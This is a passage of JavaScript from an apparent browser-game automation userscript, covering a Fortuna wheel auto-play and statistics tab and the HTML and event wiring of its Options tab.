					if (t.timer) clearTimeout(t.timer);
					t.is_running = false;
					display_grid();
					for (var i = 0; i < 8; i++) displayItemList(i);
				}

				function onAutoChoose() {
					var t = Tabs.Wheel;
					if (t.timer) clearTimeout(t.timer);
					if (t.autoTimer) clearTimeout(t.autoTimer);
					setButtonStyle(document.getElementById(UID['tabWheel_Choose']), false);
					setButtonStyle(document.getElementById(UID['tabWheel_Refresh']), false);
					setButtonStyle(document.getElementById(UID['tabWheel_Stop']), false, 'btn_off');
					for (var r = 0; r < t.last_results.length; r++)
						gatherObjstat(t.last_results[r].type, true);
					MyAjax.saveMinigame(t.minigame_id, t.last_type, callback, false);

					function callback(r) {
						var t = Tabs.Wheel;
						if (r.ok && r.item) {
							t.played++;
							t.minigame_id = 0;
							consoleLog('Fortuna : ' + translate('You won') + ' <b>' + translate(r.item.type) + '</b>');
							CalciumNotifications.showFortunaWin(translate('You won') + ' ' + translate(r.item.type));
							SoundPlayer.PlaySound('fortuna');
							gatherObjstat(r.item.type, true, true);
							if (document.getElementById(UID['tabWheel_played']))
								document.getElementById(UID['tabWheel_played']).innerHTML = '(' + translate('played this session') + ' <b>' + t.played + '</b>)';
							if (Data.options.wheel.auto_play && t.played < Data.options.wheel.max_auto) {
								setButtonStyle(document.getElementById(UID['tabWheel_Refresh']), false);
								setButtonStyle(document.getElementById(UID['tabWheel_Stop']), true, 'btn_off');
								t.delay = Data.options.wheel.delay * Data.options.wheel.unit;
								t.timer = setTimeout(getPrizeList, (Data.options.wheel.delay * Data.options.wheel.unit) * 1000 + Math.randRange(10, 500));
							} else {
								t.is_running = false;
								display_grid();
							}
						} else {
							setButtonStyle(document.getElementById(UID['tabWheel_Stop']), false, 'btn_off');
							consoleLog(translate('Error while retrieving the item won') + ' : ' + r.errmsg);
						}
					}
				}

				function onChoose() {
					var t = Tabs.Wheel;
					if (t.timer) clearTimeout(t.timer);
					if (t.autoTimer) clearTimeout(t.autoTimer);
					t.is_running = false;
					setButtonStyle(document.getElementById(UID['tabWheel_Choose']), false);
					setButtonStyle(document.getElementById(UID['tabWheel_Refresh']), false);
					setButtonStyle(document.getElementById(UID['tabWheel_Stop']), false, 'btn_off');
					for (var r = 0; r < t.last_results.length; r++)
						gatherObjstat(t.last_results[r].type, true);
					var dial = new ModalDialog(t.container, 300, 165, '', false, null);
					dial.getTopDiv().innerHTML = '<div class=' + UID['title'] + '><center><b>' + scriptName + ' : ' + translate('Message') + '</b></center></div>';
					dial.getContentDiv().innerHTML = translate('Please wait...');
					MyAjax.saveMinigame(t.minigame_id, t.last_type, callback, false);

					function callback(r) {
						var t = Tabs.Wheel;
						if (r.ok && r.item) {
							dial.getContentDiv().innerHTML = translate('You won') + '\n\n <b>' + translate(r.item.type) + '</b>';
							t.minigame_id = 0;
							consoleLog('Fortuna : ' + translate('You won') + ' <b>' + translate(r.item.type) + '</b>');
							gatherObjstat(r.item.type, true, true);
						} else
							dial.getContentDiv().innerHTML = translate('Error while retrieving the item won') + ' : ' + r.errmsg;
						dial.allowClose(true);
						dial.notifyClose = display_grid();
					}
				}

				function onPlay() {
					var t = Tabs.Wheel;
					setButtonStyle(document.getElementById(UID['tabWheel_Play']), false);
					t.played = 0;
					checkRefreshTimer();
					getPrizeList();
				}

				function onStop() {
					var t = Tabs.Wheel;
					if (t.timer) clearTimeout(t.timer);
					if (t.autoTimer) clearTimeout(t.autoTimer);
					t.is_running = false;
					display_grid();
				}

				function refreshTick() {
					var t = Tabs.Wheel,
						wait = document.getElementById(UID['tabWheel_wait']);
					if (t.is_running && Data.options.wheel.auto_refresh) {
						if (wait) wait.innerHTML = translate('Refresh in') + ' ' + t.delay + 's';
						t.delay--;
						if (t.delay < 0) t.delay = 0;
					} else {
						if (wait) wait.innerHTML = '';
					}
				}
			},

			/** STATS SUB-TAB ***/
			tabWheelStats: function() {
				var t = Tabs.Wheel;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabWheelStats']).className = 'selected';
				document.getElementById(UID['tabWheelStats']).style.zIndex = 1;
				t.lastSubTab = 'tabWheelStats';
				t.contentType = 1;
				var m = '<div id=' + setUID('tabWheel_stats') + ' style="height:655px">' + '<div class=' + UID['title'] + '>' + translate('Stats') + ' ' + translate('Fortuna\'s chance') + '</div>' + '<div class=' + UID['content'] + '>' + '	<table class=' + UID['table'] + ' style="margin-top:3px" width=100%>' + '		<tr valign=top align=left>' + '			<td width=5%><input type=radio name=' + UID['tabWheelStats_Type'] + ' value="regular" /></td>' + '			<td width=35% align=left><label>' + translate('FortunasTicket') + '</label></td>' + '			<td width=20%>&nbsp</td>' + '			<td width=5%><input type=radio name=' + UID['tabWheelStats_Type'] + ' value="golden" /></td>' + '			<td align=left width=35%><label>' + translate('FortunasGoldenTicket') + '</label></td>' + '		</tr>' + '	</table>' + '	<div id=' + setUID('tabWheelStats_Content') + ' style="padding-top:0px; height:580px; max-height:580px; overflow-y:auto"></div>' + '	<center><input id=' + setUID('tabWheelStats_Clear') + ' type=button value="' + translate('Clear Stats') + '" /></center>' + '</div></div>';
				document.getElementById(UID['tabWheel_Content']).innerHTML = m;
				document.getElementById(UID['tabWheelStats_Clear']).addEventListener('click', function() {
					clearStats();
					showStats();
				}, false);
				var r = document.getElementsByName(UID['tabWheelStats_Type']);
				for (i = 0; i < r.length; i++) {
					r[i].addEventListener('change', onChangeType, false);
					r[i].checked = (r[i].value == Data.stats.wheel.type);
				}
				showStats();

				function clearStats() {
					var t = Tabs.Wheel;
					Data.stats.wheel = {
						type: 'regular',
						total_grids: [0, 0],
						total_played: [0, 0],
						items: [{}, {}],
						last_won: [
							[],
							[]
						]
					};
					showStats();
				}

				function onChangeType(event) {
					var t = Tabs.Wheel;
					Data.stats.wheel.type = event.target.value;
					showStats();
				}

				function showStats() {
					var t = Tabs.Wheel,
						i = 0,
						regular = ((Data.stats.wheel.type == 'regular') ? 0 : 1);
					var total = toNum(Data.stats.wheel.total_grids[regular]);
					var played = toNum(Data.stats.wheel.total_played[regular]);
					var m = '<div id=' + setUID('tabWheelStats_Report') + ' class=' + UID['status_ticker'] + ' style="height:545px; max-height:545px; overflow-y:auto ; overflow-x:auto ; margin-top:1px !important">' + '<table class=' + UID['table'] + ' width=100%>' + '	<tr>' + '		<td class=right width=15%>' + translate('Total grids displayed') + ': </td>' + '		<td width=25%>' + numf(Math.round(total / 12)) + '</td>' + '		<td width=20%>&nbsp</td>' + '		<td class=right width=15%>' + translate('Total grids played') + ': </td>' + '		<td width=25%>' + numf(Math.round(played / 12)) + '</td>' + '	</tr>' + '</table>' + '<div id=' + setUID('tabWheelStats_ItemsWon') + ' style="height:75px; max-height:75px; overflow-y:auto; margin-top:1px !important"></div>' + '<div id=' + setUID('tabWheelStats_ItemsStats') + ' style="height:440px; max-height:440px; overflow-y:auto; margin-top:1px !important"></div>' + '</div>';
					document.getElementById(UID['tabWheelStats_Content']).innerHTML = m;
					var m = '<table class=' + UID['row_style'] + ' width=100%>' + '	</tr><tr class=' + UID['row_headers'] + '>' + '		<td width="60%">' + translate('Last items won') + '</td>' + '		<td width="40%">' + translate('Date') + '</td>' + '	</tr>';
					var item_won = cloneProps(Data.stats.wheel.last_won[regular]);
					item_won.sort(function(a, b) {
						return (b.at - a.at);
					});
					for (var i = 0; i < item_won.length; i++) {
						m += '<tr><td class=left>' + translate(item_won[i].item, true) + '</td>' + '	<td align=right>' + new Date(item_won[i].at * 1000).myString() + '</td>' + '</tr>';
					}
					document.getElementById(UID['tabWheelStats_ItemsWon']).innerHTML = m + '</table>';
					var m = '<table class=' + UID['row_style'] + ' width=100%>' + '	<tr class=' + UID['row_headers'] + '>' + '		<td valign=middle width=33%><b>' + translate('Items') + '</b></td>' + '		<td valign=middle width=20% colspan=2><b>' + translate('All grids') + '</b></td>' + '		<td valign=middle width=40% colspan=4><b>' + translate('Grids played') + '</b></td>' + '		<td valign=middle width=7% colspan=2><b>' + translate('Chance') + '</b></td>' + '	</tr>' + '	<tr class=' + UID['row_headers'] + '>' + '		<td valign=middle width=30%>&nbsp</td>' + '		<td valign=middle width=13%><b>' + translate('Displayed') + '</b></td>' + '		<td valign=middle width=7%><b>' + translate('%age') + '</b></td>' + '		<td valign=middle width=13%><b>' + translate('Played') + '</b></td>' + '		<td valign=middle width=7%><b>' + translate('%age') + '</b></td>' + '		<td valign=middle width=13%><b>' + translate('Won') + '</b></td>' + '		<td valign=middle width=7%><b>' + translate('%age') + '</b></td>' + '		<td valign=middle width=7%><b>' + translate('to win') + '</b></td>' + '	</tr>';
					var item_stats = [];
					for (var item in Data.stats.wheel.items[regular]) {
						var obj = Data.stats.wheel.items[regular][item];
						item_stats.push({
							item: item,
							found: toNum(obj[0]),
							played: toNum(obj[1]),
							won: toNum(obj[2])
						});
					}
					item_stats.sort(function(a, b) {
						if (a.found < b.found) return 1;
						else if (a.found > b.found) return -1;
						else {
							a = translate(a.item, true).toLowerCase();
							b = translate(b.item).toLowerCase();
							if (a > b) return 1;
							else if (a < b) return -1;
							return 0;
						}
					});
					for (var i = 0; i < item_stats.length; i++) {
						var found = toNum(item_stats[i].found);
						var pctf = Math.round(found / total * 10000) / 100;
						var tried = toNum(item_stats[i].played);
						var pctt = ((tried > 0) ? (Math.round(tried / played * 10000) / 100) + '%' : '');
						var won = toNum(item_stats[i].won);
						var pctw = ((won > 0) ? (Math.round(won / Math.round(played / 12) * 10000) / 100) + '%' : '');
						var chance = ((won > 0) ? (Math.round(won / (tried * 12) * 10000) / 100) + '%' : '');
						m += '<tr><td class=left>' + translate(item_stats[i].item, true) + '</td>' + '	<td align=right>' + numf(found) + '</td>' + '	<td align=right>' + pctf + '%</td>' + '	<td align=right>' + ((tried > 0) ? numf(tried) : '') + '</td>' + '	<td align=right>' + pctt + '</td>' + '	<td align=right>' + ((won > 0) ? numf(won) : '') + '</td>' + '	<td align=right>' + pctw + '</td>' + '	<td align=right>' + chance + '</td>' + '</tr>';
					}
					document.getElementById(UID['tabWheelStats_ItemsStats']).innerHTML = m + '</table>';
				}
			},

			hide: function() {
				var t = Tabs.Wheel;
				if (t.refreshTimer) clearInterval(t.refreshTimer);
			}
		}

		/******************************** Options Tab ********************************/
		Tabs.Options = {
			tabOrder: OPTIONS_TAB_ORDER,
			tabLabel: 'Opts',
			tabDisabled: !OPTIONS_TAB_ENABLE,
			container: null,
			refreshTimer: null,
			flashRefreshTimer: null,
			refreshPlayerBusy: false,

			init: function(div) {
				var t = Tabs.Options;
				t.container = div;
				t.own = Seed.player.alliance ? Seed.player.alliance.id : -1;

				var selected = new Array(4);
				for (var i = 0; i < selected.length; i++) {
					selected[i] = '';
				}
				switch (Data.options.autoCollect.unit) {
					case 1:
						selected[1] = 'selected';
						break;
					case 60:
						selected[2] = 'selected';
						break;
					case 3600:
						selected[3] = 'selected';
						break;
					case 86400:
						selected[4] = 'selected';
						break;
					default:
						seleacted[3] = 'selected';
				}
				try {
					m = '<div class=' + UID['title'] + ' style="margin-bottom:10px">' + translate('Options') + '</div>' + '<div style="height:665px; max-height:665px; width:540px; max-width:540px; overflow-y:auto; overflow-x:auto; color:#000;">' + '<table class=' + UID['table'] + '>' + '	<tr valign=top>' + '		<td><b>' + translate('Game Options') + ': </b></td>' + '	</tr>' + '	<tr valign=top>' + '		<td>' + '		<label>' + '		<input id=' + setUID('tabOptions_CB_Collect') + ' type=checkbox ' + (Data.options.autoCollect.enabled ? 'CHECKED ' : '') + ' /> ' + translate('Auto harvest resources from outposts every') + '		</label> ' + '		<input id=' + setUID('tabOptions_collectTime') + ' size=1 maxlength=2 type=text value="' + Data.options.autoCollect.delay + '" />' + '		<select id=' + setUID('tabOptions_collectUnit') + ' size=1>' + '			<option value=1 ' + selected[1] + '>' + translate('Seconds') + '</option>' + '			<option value=60 ' + selected[2] + '>' + translate('minutes') + '</option>' + '			<option value=3600 ' + selected[3] + '>' + translate('hours') + '</option>' + '			<option value=86400 ' + selected[4] + '>' + translate('days') + '</option>' + '		</select>' + '		</td>' + '	</tr><tr valign=top>' + '		<td>' + '		<label><input id=' + setUID('tabOptions_CB_UTCtime') + ' type=checkbox ' + (Data.options.utc_time ? ' CHECKED ' : '') + ' /> ' + translate('Check to use UTC time instead of local time') + '</label>' + '		</td>' + '	</tr><tr valign=top>' + '		<td>' + '		<label><input id=' + setUID('tabOptions_CB_Speedups') + ' type=checkbox ' + (Data.options.speedups_enabled ? ' CHECKED ' : '') + ' /> ' + translate('Enable use of speed-ups in attacks waves') + '</label>' + '		</td>' + '	</tr><tr valign=top>' + '		<td>' + '		<label><input id=' + setUID('tabOptions_CB_Confirmation') + ' type=checkbox ' + (Data.options.use_speedup_confirmation ? ' CHECKED ' : '') + ' /> ' + translate('Enable confirmation on use of speed-ups') + '</label>' + '		</td>' + '	</tr><tr valign=top>' + '		<td>' + '		<label><input id=' + setUID('tabOptions_CB_JobsSpeedups') + ' type=checkbox ' + (Data.options.jobs_speedups_enabled ? ' CHECKED ' : '') + ' /> ' + translate('Enable use of speed-ups in training/resurrection jobs') + '</label>' + '		</td>' + '	</tr><tr valign=top>' + '		<td>' + '		<label><input id=' + setUID('tabOptions_CB_JobsCancel_Confirmation') + ' type=checkbox ' + (Data.options.jobs_cancel_confirmation ? ' CHECKED ' : '') + ' /> ' + translate('Enable confirmation on cancelling job in training/resurrection') + '</label>' + '		</td>' + '	</tr><tr valign=top>' + '		<td>' + '		<label><input id=' + setUID('tabOptions_CB_Cheat') + ' type=checkbox ' + (Data.options.cheat_enabled ? ' CHECKED ' : '') + ' /> ' + translate('Enable transport of ') + translate('enchanting') + '</label>' + '		</td>' 
					+ '	</tr><tr valign=top>' 
					+ '		<td>' 
					+ '		<label><input id=' + setUID('tabOptions_CB_SancHideMax') + ' type=checkbox ' + (Data.options.sanctuary.hideDrgMaxLevel ? ' CHECKED ' : '') + ' /> ' + translate('Hide sanctuary dragon at max level') + '</label>' 
					+ '		</td>' 
					+ '	</tr>' + '</table>' + '<br>' + '<table class=' + UID['table'] + '>' + '	<tr valign=top>' + '		<td><b>' + translate('Script Options') + ': </b></td>' + '	</tr><tr valign=top>' + '		<td>' + translate('Script language') + ': &nbsp' + '		<select id=' + setUID('tabOptions_language') + ' size=1>';
					for (var lang = 0; lang < Translation.available_langs.length; lang++) {
						m += '	<option value="' + Translation.available_langs[lang].code + '" ' + (Data.options.user_language == Translation.available_langs[lang].code ? 'selected' : '') + '>' + translate(Translation.available_langs[lang].desc) + '</option>'
					}
					m += '		</select>' + '		</td>' + '	</tr><tr valign=top>' + '		<td>' + '		<label><input id=' + setUID('tabOptions_CB_Drag') + ' type=checkbox ' + (Data.options.popUp.drag ? ' CHECKED ' : '') + ' /> ' + translate('Enable window drag') + '</label>' + '		</td>' + '	</tr><tr valign=top>' + '		<td>' + '		<label><input id=' + setUID('tabOptions_CB_Verbose') + ' type=checkbox ' + (Data.options.verboseLog.enabled ? ' CHECKED ' : '') + ' /> ' + translate('Enable verbose logging') + '</label>' + '		</td>' + '	</tr><tr valign=top>' + '		<td>' + '		<label><input id=' + setUID('tabOptions_CB_Background') + ' type=checkbox ' + (Data.options.background ? ' CHECKED ' : '') + ' /> ' + translate('Display official background image') + '</label>' + '		</td>' + '	</tr><tr valign=top>' + '		<table cellpadding=3><tr valign=top>' + '			<td>&nbsp<label>' + translate('Wiki URL') + '</label>&nbsp &nbsp</td>' + '			<td><input id=' + setUID('tabOptions_Wiki') + ' size=50 maxlength=200 type=text value="' + Data.options.wikiUrl + '" />&nbsp</td>' + '		</tr><tr valign=top>' + '			<td>&nbsp<label>' + translate('Forum link') + '</label>&nbsp &nbsp</td>' + '			<td><input id=' + setUID('tabOptions_Forum') + ' size=50 maxlength=200 type=text value="' + Data.options.forumUrl + '" />&nbsp</td>' + '		</tr></table>' + '	</tr>' + '</table>' + '<br>' + '<table class=' + UID['table'] + ' style="color:#000;">' + '	<tr valign=top>' + '		<td colspan=4><b>' + translate('Sound configuration') + ': </b></td>' + '	</tr><tr valign=top>' + '		<td><label><input id=' + setUID('tabOptions_JobsSound') + ' type=checkbox ' + (Data.options.sound.enable_jobs ? 'CHECKED ' : '') + '/></label></td>' + '		<td><label>' + translate('Play sound on task completion') + '. ' + translate('Sound file') + ' ' + translate('for') + ' :</label></td>' + '	</tr><tr valign=top>' + '		<td></td>' + '		<td><table cellpadding=0 cellspacing=0>' + '				<tr valign=top>' + '					<td><label>' + translate('Building') + '</label></td>' + '					<td><input id=' + setUID('tabOptions_BFile') + ' size=40 maxlength=150 type=text value="' + Data.options.sound.URL_building + '" />&nbsp</td>' + '					<td><input id=' + setUID('tabOptions_BPlay') + ' type=submit value=Play>' + '						<input id=' + setUID('tabOptions_BStop') + ' type=submit value=Stop>' + '						<input id=' + setUID('tabOptions_BDefault') + ' type=submit value=Default></td>' + '				</tr>' + '				<tr valign=top>' + '					<td><label>' + translate('Training') + '</label></td>' + '					<td><input id=' + setUID('tabOptions_TFile') + ' size=40 maxlength=150 type=text value="' + Data.options.sound.URL_units + '" />&nbsp</td>' + '					<td><input id=' + setUID('tabOptions_TPlay') + ' type=submit value=Play>' + '						<input id=' + setUID('tabOptions_TStop') + ' type=submit value=Stop>' + '						<input id=' + setUID('tabOptions_TDefault') + ' type=submit value=Default></td>' + '				</tr>' + '				<tr valign=top>' + '					<td><label>' + translate('Research') + '</label></td>' + '					<td><input id=' + setUID('tabOptions_RFile') + ' size=40 maxlength=150 type=text value="' + Data.options.sound.URL_research + '" />&nbsp</td>' + '					<td><input id=' + setUID('tabOptions_RPlay') + ' type=submit value=Play>' + '						<input id=' + setUID('tabOptions_RStop') + ' type=submit value=Stop>' + '						<input id=' + setUID('tabOptions_RDefault') + ' type=submit value=Default></td>' + '				</tr>' + '			</table>' + '		</td>' + '	</tr><tr valign=top>' + '		<td><label><input id=' + setUID('tabOptions_FortunaSound') + ' type=checkbox ' + (Data.options.sound.enable_fortuna ? 'CHECKED ' : '') + '/></label></td>' + '		<td><label>' + translate('Play sound when Fortuna\'s ticket played or a matching grid is found') + ' :</label></td>' + '	</tr><tr valign=top>' + '		<td></td>' + '		<td><table cellpadding=0 cellspacing=0>' + '				<tr valign=top>' + '					<td><label>' + translate('Fortuna') + '</label></td>' + '					<td><input id=' + setUID('tabOptions_FFile') + ' size=40 maxlength=150 type=text value="' + Data.options.sound.URL_fortuna + '" />&nbsp</td>' + '					<td><input id=' + setUID('tabOptions_FPlay') + ' type=submit value=Play>' + '						<input id=' + setUID('tabOptions_FStop') + ' type=submit value=Stop>' + '						<input id=' + setUID('tabOptions_FDefault') + ' type=submit value=Default></td>' + '				</tr>' + '			</table>' + '		</td>' + '	</tr>' + '</table>' + '<br>' + '<table class=' + UID['table'] + '>' + '	<tr valign=top>' + '		<td><b>' + translate('Features') + ': </b></td>' + '	</tr><tr valign=top>' + '		<td>' + '		<label><input id=' + setUID('tabOptions_AutoRefresh') + ' type=checkbox ' + (Data.options.autoRefresh.enabled ? 'CHECKED ' : '') + ' /> ' + translate('Auto refresh info tab data every') + '</label>' + '		<input id=' + setUID('tabOptions_refreshTime') + ' size=1 maxlength=2 type=text value="' + Data.options.autoRefresh.delay + '" />' + '		<select id=' + setUID('tabOptions_refreshUnit') + ' size=1>' + '			<option value=1 ' + (Data.options.autoRefresh.unit == 1 ? 'selected' : '') + '>' + translate('Seconds') + '</option>' + '			<option value=60 ' + (Data.options.autoRefresh.unit == 60 ? 'selected' : '') + '>' + translate('minutes') + '</option>' + '			<option value=3600 ' + (Data.options.autoRefresh.unit == 3600 ? 'selected' : '') + '>' + translate('hours') + '</option>' + '			<option value=86400 ' + (Data.options.autoRefresh.unit == 86400 ? 'selected' : '') + '>' + translate('days') + '</option>' + '		</select>' + '		</td>' + '	</tr><tr valign=top>' + '		<td>' + '		<label><input id=' + setUID('tabOptions_FlashRefresh') + ' type=checkbox ' + (Data.options.flashRefresh.enabled ? 'CHECKED ' : '') + ' /> ' + translate('Flash game Auto refresh every') + '</label>' + '		<input id=' + setUID('tabOptions_flashRefreshTime') + ' size=1 maxlength=2 type=text value="' + Data.options.flashRefresh.delay + '" />' + '		<select id=' + setUID('tabOptions_flashRefreshUnit') + ' size=1>' + '			<option value=60 ' + (Data.options.flashRefresh.unit == 60 ? 'selected' : '') + '>' + translate('minutes') + '</option>' + '			<option value=3600 ' + (Data.options.flashRefresh.unit == 3600 ? 'selected' : '') + '>' + translate('hours') + '</option>' + '		</select>' + '		</td>' + '	</tr><tr valign=top>' + '		<td>' 
					+ '		<label><input id=' + setUID('tabOptions_CheckNotification') + ' type=button value="' + translate('Test') + '" /> ' + translate('Notification permission test') + '</label>' + '		</td>' 
					+ '	</tr><tr valign=top>' + '		<td>' + '		<label><input id=' + setUID('tabOptions_NotificationFortuna') + ' type=checkbox ' + (Data.options.enable_notifications_fortuna ? 'CHECKED ' : '') + ' /> ' + translate('Enable notifications when i win an object in Fortuna automatic play') + '</label>' + '		</td>' 
					+ '	</tr><tr valign=top>' + '		<td>' + '		<label><input id=' + setUID('tabInboxTchatAlliance_cbEnableNotif') + ' type=checkbox ' + (Data.options.tchat.enable_notif_alliance ? 'CHECKED ' : '') + ' /> ' + translate('Enable notifications for tchat alliance') + '</label>' + '		</td>'
					+ '	</tr><tr valign=top>' + '		<td>' + '		<label><input id=' + setUID('tabInboxTchatRealm_cbEnableNotif') + ' type=checkbox ' + (Data.options.tchat.enable_notif_realm ? 'CHECKED ' : '') + ' /> ' + translate('Enable notifications for tchat realm') + '</label>' + '		</td>'					
					+ '	</tr><tr valign=top>' + '		<td>' + '		<label><input id=' + setUID('tabOptions_NotificationSpy') + ' type=checkbox ' + (Data.options.enable_notifications_spy ? 'CHECKED ' : '') + ' /> ' + translate('Enable notifications when i receive spy') + '</label>' + '		</td>' + '	</tr><tr valign=top>' + '		<td>' + '		<label><input id=' + setUID('tabOptions_NotificationAttack') + ' type=checkbox ' + (Data.options.enable_notifications_attack ? 'CHECKED ' : '') + ' /> ' + translate('Enable notifications when i receive attack') + '</label>' + '		</td>' + '	</tr>' + '</table>' + '<br>' + '<table class=' + UID['table'] + '>' + '	<tr valign=top>' + '		<td>' + '		<label><input id=' + setUID('tabOptions_btnRefresh') + ' type=button value="' + translate('Refresh') + '" /></label>' + '		</td>' + '	</tr>' + '</table>' + '<br>' + '<table class=' + UID['table'] + ' width=100%>' + '	<tr valign=top>' + '		<td width=40%><b>' + translate('Tabs Options') + ': </b></td>' + '	</tr><tr valign=top>' + '		<td><label><input id=' + setUID('tabOptions_TabWave') + ' type=checkbox ' + (Data.options.disable_wave ? 'CHECKED ' : '') + ' /> ' + translate('Disable <B>Wave</B> tab') + '</label></td>' + '		<td><label><input id=' + setUID('tabOptions_TabMulti') + ' type=checkbox ' + (Data.options.disable_multi ? 'CHECKED ' : '') + ' /> ' + translate('Disable <B>Multi</B> tab') + '</label></td>' + '	</tr><tr valign=top>' + '		<td><label><input id=' + setUID('tabOptions_TabBookmark') + ' type=checkbox ' + (Data.options.disable_bookmark ? 'CHECKED ' : '') + ' /> ' + translate('Disable <B>Bookmarks</B> tab') + '</label></td>' + '		<td><label><input id=' + setUID('tabOptions_TabSearch') + ' type=checkbox ' + (Data.options.disable_search ? 'CHECKED ' : '') + ' /> ' + translate('Disable <B>Search</B> tab') + '</label></td>' + '	</tr><tr valign=top>' + '		<td><label><input id=' + setUID('tabOptions_TabAlliance') + ' type=checkbox ' + (Data.options.disable_alliance ? 'CHECKED ' : '') + ' /> ' + translate('Disable <B>Alliance</B> tab') + '</label></td>' + '		<td><label><input id=' + setUID('tabOptions_TabSpy') + ' type=checkbox ' + (Data.options.disable_spies ? 'CHECKED ' : '') + ' /> ' + translate('Disable <B>Spy</B> tab') + '</label></td>' + '	</tr><tr valign=top>' + '		<td><label>&nbsp;</td>' + '		<td><label><input id=' + setUID('tabOptions_TabWall') + ' type=checkbox ' + (Data.options.disable_wall ? 'CHECKED ' : '') + ' /> ' + translate('Disable <B>Wall</B> tab') + '</label></td>' + '	</tr><tr valign=top>' + '		<td><label><input id=' + setUID('tabOptions_TabWheel') + ' type=checkbox ' + (Data.options.disable_wheel ? 'CHECKED ' : '') + ' /> ' + translate('Disable <B>Fortuna\'s</B> tab') + '</label></td>' + '		<td>&nbsp;</td>' + '	</tr><tr valign=top>' + '		<td><label><input id=' + setUID('tabOptions_TabSingle') + ' type=checkbox ' + (Data.options.disable_single ? 'CHECKED ' : '') + ' /> ' + translate('Disable <B>Single</B> tab') + '</label></td>' + '		<td><label><input id=' + setUID('tabOptions_TabLog') + ' type=checkbox ' + (Data.options.disable_log ? 'CHECKED ' : '') + ' /> ' + translate('Disable <B>Log</B> tab') + '</label></td>' + '	</tr><tr valign=top>' + '		<td><label><input id=' + setUID('tabOptions_TabInbox') + ' type=checkbox ' + (Data.options.disable_inbox ? 'CHECKED ' : '') + ' /> ' + translate('Disable <B>Inbox</B> tab') + '</label></td>' + '		<td>&nbsp;</td>' + '	</tr>' + '</table><br>' + '<div class=' + UID['title'] + ' style="margin-bottom:10px">' + translate('Cache data') + '</div>' + '<table class=' + UID['table'] + ' width=100%>' + '	<tr valign=top>' + '		<td width=30%><label><input id=' + setUID('tabOptions_btnSave') + ' type=button value="' + translate('Save') + '" title="' + translate('Force saving current script settings') + '" /></label></td>' + '		<td width=30%><label><input id=' + setUID('tabOptions_btnClean') + ' type=button value="' + translate('delete') + '" title="' + translate('Clear local storage (internet cache)') + '" /></label></td>' + '		<td width=40%><label><input id=' + setUID('tabOptions_btnInspect') + ' type=button value="' + translate('View') + '" title="' + translate('Inspect current script settings') + '" /></label></td>' + '	</tr><tr valign=top><td style="font-size:2px">&nbsp</td>' + '	</tr><tr valign=top>' + '		<td width=30%><label><input id=' + setUID('tabOptions_btnBackup') + ' type=button value="' + translate('Backup') + '" title="' + translate('Save current script settings in a local file') + '" /></label></td>' + '		<td width=30%><label><input id=' + setUID('tabOptions_btnBackupMap') + ' type=button value="' + translate('Backup') + ' ' + translate('Map') + '" title="' + translate('Save current map data in a local file') + '" /></label></td>' + '		<td width=40%><label><input id=' + setUID('tabOptions_btnRestore') + ' type=button value="' + translate('Restore') + '" title="' + translate('Restore script settings from local file') + '" /></label>' + '		<input id=' + setUID('tabOptions_storage_file') + ' type="file" multiple style="opacity:0;position:absolute;z-index:-1"/></td>' + '	</tr>' + '</table><br>' + '</div>';
					t.container.innerHTML = m;

					document.getElementById(UID['tabOptions_collectTime']).addEventListener('change', t.timeChanged, false);
					document.getElementById(UID['tabOptions_collectUnit']).addEventListener('change', t.unitChanged, false);
					document.getElementById(UID['tabOptions_refreshTime']).addEventListener('change', t.refreshTimeChanged, false);
					document.getElementById(UID['tabOptions_refreshUnit']).addEventListener('change', t.refreshUnitChanged, false);
					document.getElementById(UID['tabOptions_flashRefreshTime']).addEventListener('change', t.flashRefreshTimeChanged, false);
					document.getElementById(UID['tabOptions_flashRefreshUnit']).addEventListener('change', t.flashRefreshUnitChanged, false);
					document.getElementById(UID['tabOptions_language']).addEventListener('change', t.onChangeLanguage, false);
					document.getElementById(UID['tabOptions_CB_Drag']).addEventListener('click', function(event) {
						Data.options.popUp.drag = event.target.checked
					}, false);
					document.getElementById(UID['tabOptions_CB_Speedups']).addEventListener('click', function(event) {
						Data.options.speedups_enabled = event.target.checked
					}, false);
					document.getElementById(UID['tabOptions_CB_Speedups']).addEventListener('change', function(event) {
						Data.options.speedups_enabled = event.target.checked
					}, false);
					document.getElementById(UID['tabOptions_CB_SancHideMax']).addEventListener('click', function(event) {
						Data.options.sanctuary.hideDrgMaxLevel = event.target.checked
					}, false);
					document.getElementById(UID['tabOptions_CB_SancHideMax']).addEventListener('change', function(event) {
						Data.options.sanctuary.hideDrgMaxLevel = event.target.checked
					}, false);
					document.getElementById(UID['tabOptions_CB_Confirmation']).addEventListener('click', function(event) {
						Data.options.use_speedup_confirmation = event.target.checked
					}, false);
					document.getElementById(UID['tabOptions_CB_Confirmation']).addEventListener('change', function(event) {
						Data.options.use_speedup_confirmation = event.target.checked
					}, false);
					document.getElementById(UID['tabOptions_CB_JobsSpeedups']).addEventListener('click', function(event) {
						Data.options.jobs_speedups_enabled = event.target.checked
					}, false);
					document.getElementById(UID['tabOptions_CB_JobsSpeedups']).addEventListener('change', function(event) {
						Data.options.jobs_speedups_enabled = event.target.checked
					}, false);
					document.getElementById(UID['tabOptions_CB_JobsCancel_Confirmation']).addEventListener('click', function(event) {
						Data.options.jobs_cancel_confirmation = event.target.checked
					}, false);
					document.getElementById(UID['tabOptions_CB_JobsCancel_Confirmation']).addEventListener('change', function(event) {
						Data.options.jobs_cancel_confirmation = event.target.checked
					}, false);
					document.getElementById(UID['tabOptions_CB_UTCtime']).addEventListener('click', function(event) {
						Data.options.utc_time = event.target.checked
					}, false);
					document.getElementById(UID['tabOptions_CB_UTCtime']).addEventListener('change', function(event) {
						Data.options.utc_time = event.target.checked
					}, false);
					document.getElementById(UID['tabOptions_Wiki']).addEventListener('change', function() {
						Data.options.wikiUrl = document.getElementById(UID['tabOptions_Wiki']).value
					}, false);
					document.getElementById(UID['tabOptions_Forum']).addEventListener('change', function() {
						Data.options.forumUrl = document.getElementById(UID['tabOptions_Forum']).value
					}, false);
					document.getElementById(UID['tabOptions_JobsSound']).addEventListener('change', function(event) {
						Data.options.sound.enable_jobs = event.target.checked
					}, false);
					document.getElementById(UID['tabOptions_FortunaSound']).addEventListener('change', function(event) {
						Data.options.sound.enable_fortuna = event.target.checked
					}, false);
					document.getElementById(UID['tabOptions_btnRefresh']).addEventListener('click', t.onClickRefresh, false);
					document.getElementById(UID['tabOptions_btnSave']).addEventListener('click', t.onClickSaveSetting, false);
